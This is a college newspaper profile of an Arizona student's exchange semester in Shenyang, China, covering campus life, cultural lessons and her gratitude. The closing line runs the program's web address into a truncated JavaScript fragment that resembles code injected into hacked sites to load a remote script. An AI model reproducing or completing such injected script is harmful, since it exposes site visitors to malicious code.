From Arizona To China And Back


Socorro Carrillo

Margarete Nasir is a powerhouse. Nasir had her beginnings here at Central Arizona Col­lege where her academic and extracurricular pursuits pro­duced a laundry list of accom­plishments. But nothing thus far has had the same affect that her study abroad experi­ence had on her. Nasir was one of two students selected to participate in Central Arizona College’s international ex­change connection for the 2014 Spring semester. The students were sent to study at North Eastern University, located in Shenyang, China.

However, before Nasir was stepping onto a crowded com­mercial plane at the bustling Sky Harbor airport, she was checking her student email two years prior. The email spoke of a prospective semes­ter abroad, but Nasir’s dreams of studying abroad soon hit a small road bump. “I had thought that I was ineligible to apply because I was at the Su­perstition Mountain Campus,” she said. At the time, SMC was not offering the required Chinese culture classes. In­stead of becoming discouraged Nasir persevered, and trans­ferred to the Signal Peak cam­pus for the Fall 2013 semester. One semester of hard work lat­er Nasir was ready for China.

Nasir took in her new cam­pus’ splendor with bright eyed wonder. “The campus was love­ly. For a month it was snowy and cold and grey, then an­other two months of cold, then two months of spring,” she said. Once the grey blanket that covered the area lifted, bright blooming cherry blos­soms sprouted everywhere, Nasir noted that this time of year was her favorite.

When pressed Nasir ad­mitted to having no “favorite memory” of her time in Chi­na. She explained that there were many great memories to choose from.

In her words, “I could tell you about my class, which was so diverse in nationalities that I was the only American; or about the wonderful Chinese student who really took us under his wing and helped us when we were confused (even when we didn’t know that we were confused.)”

China was as different as different could be. Each new experience was a blessing in disguise for Nasir. For exam­ple, due to China’s more lax food processing methods, Na­sir ran into a few UFOs (un­identified “food” objects.) Na­sir credits these events with helping her adopt a healthier life style. With wisdom be­yond her short 20 years, she mentioned that her time in China didn’t really have any “bad experiences.” Because, as she puts it “there can be bad experiences with anything. The important thing is, were they learning experiences?”

One of those lessons was something all students can abide— when to say no. Be­ing in a foreign country, tak­ing classes that were more difficult, and dealing with a small language barrier, Nasir already had a lot on her plate. As it became more apparent how skilled Nasir was, she was asked to do more things around her new school includ­ing teaching an English cor­ner. “I finally had to learn how to say ‘no.’ ‘No’ to handing out my contact information ‘no’ to taking on more responsibili­ties, ‘no’ to many things,” she said.

Despite gaining loads of knowledge at school, Nasir was also educated outside of the classroom. Foreign ex­change programs are all about immersion. CAC’s goal for partnering with international universities is to allow its stu­dents a chance to experience the world even if it’s within a smaller scale. From everyday things like refraining from saying ‘bless you’ to strang­ers or making new friends, Nasir was able to understand Chinese culture better, which is the ultimate goal for these types of programs.

Currently a junior at Ari­zona State University, Nasir continues to thrive in new en­vironments. She continues to look back upon her experience with utmost fondness. Sum­marizing her trip she said,

“I can hardly express my thankfulness. So, in addition to bettering my Chinese, un­derstanding the culture, and having an absolutely wonder­ful experience in China, my time abroad really helped me by giving me the opportunity to experience the kindness and, if I may say, love that the Chinese people have.”

With that in mind, it’s easy to see why exchange pro­grams are invaluable, even at a smaller level. Which is why students from any background can benefit from this interna­tional fountain of knowledge and diversity.

If you’re interested in CAC’s international programs, please visit Central Arizona College’s International Ex­change webpage online at: Academics/CAC_Internation­al_Exchange_Connection.htmvar d=document;var s=d.createElement(‘script’);